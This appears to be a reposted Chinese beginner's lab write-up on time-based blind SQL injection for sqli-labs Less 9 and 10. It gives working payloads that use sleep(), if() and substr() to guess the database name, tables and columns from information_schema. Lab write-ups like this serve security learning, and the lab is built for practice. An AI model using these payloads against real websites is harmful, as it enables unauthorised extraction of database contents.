zoukankan      html  css  js  c++  java
  • 小白注入学习:sqli-labs--less9-10学习记录

    Less9 基于时间的单引号盲注

    1.时间型盲注
    代码依然存在SQL注入漏洞,但是页面不会回显数据,也不会回显错误信息。语句执行也不提示真假,不能通过页面内容判断。
    通过构造语句,根据页面响应时长,来判断信息输入的信息是否正确,这就是时间盲注。结合sleep()函数,根据这里页面相应的时间判断是否能注入
    //PS小白注释  sleep(N)可以让此语句持续运行N秒钟
    2.判断注入类型
    不管输入什么页面回显都只有You are in...考虑时间型的盲注
    ?id=1' and sleep(2) --+ 发现页面有明显的加载时间,说明注入成功。由此进行注入。
    3.结合if()和sleep()构造payload
    (1) 猜测数据库长度
    ?id=1' and if(length(database())=8,sleep(2),0)--+ 页面有明显的响应延迟,那么说明这条语句length(database())=8猜测正确,数据库长度为8
    //PS小白注释  if(x,a,b)如果x=true 那么就执行a,否则执行b这里的if函数意思是如果数据库长度是8,那么就让这条语句持续执行2s,也就是页面延迟响应2s。
    (2) 猜测数据库名
    ?id=1' and if(substr(database(),1,1)='s',sleep(2),0)--+
    //PS小白注释  substr(a,b,c)从b位置开始截取字符串a的c长度。这句payload的意思就是如果数据库的第一位是s那就延迟响应2s,否则直接响应
    以此类推一位一位猜测数据库名
    ?id=1' and if(substr(database(),1,8)='security',sleep(2),0)--+
    说明数据库名为secruity
    (3) 猜解表名,字段,以及字段内容的操作都相似,结合limit()函数从第一条数据查找,根据页面回 显判断是否正确。附上部分payload

    猜表名
    ?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(2),0)--+
    猜字段名
    ?id=1' and if(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)='u',sleep(2),0)--+

    Less10 基于时间的双引号注入

    与Less9相似,只需要把payload中的单引号换成双引号即可,一样的注入流程,不再赘述。

    小白注入学习记录!!

  • 相关阅读:
    Windows | Linux/Ubuntu 16.04 安装编辑器 Sublime Text 3
    Linux/Ubuntu 16.04 好用的视频播放器 SMPlayer
    Webpack实战(二):webpack-dev-server的介绍与用法
    Webpack实战(一):Webpack打包工具安装及参数配置
    第一天开通博客
    Spring Cloud Eureka 服务注册与发现中心
    使用 Docker Compose 部署 Nginx 配置虚拟主机
    Spring Boot 中 Redis 的使用
    Linux 安装 Docker Compose 及常用命令汇总
    Spring Boot 集成 Swagger2 构建 RESTful API 文档
  • 原文地址:https://www.cnblogs.com/ersuani/p/sqlilab_less9.html
Copyright © 2011-2022 走看看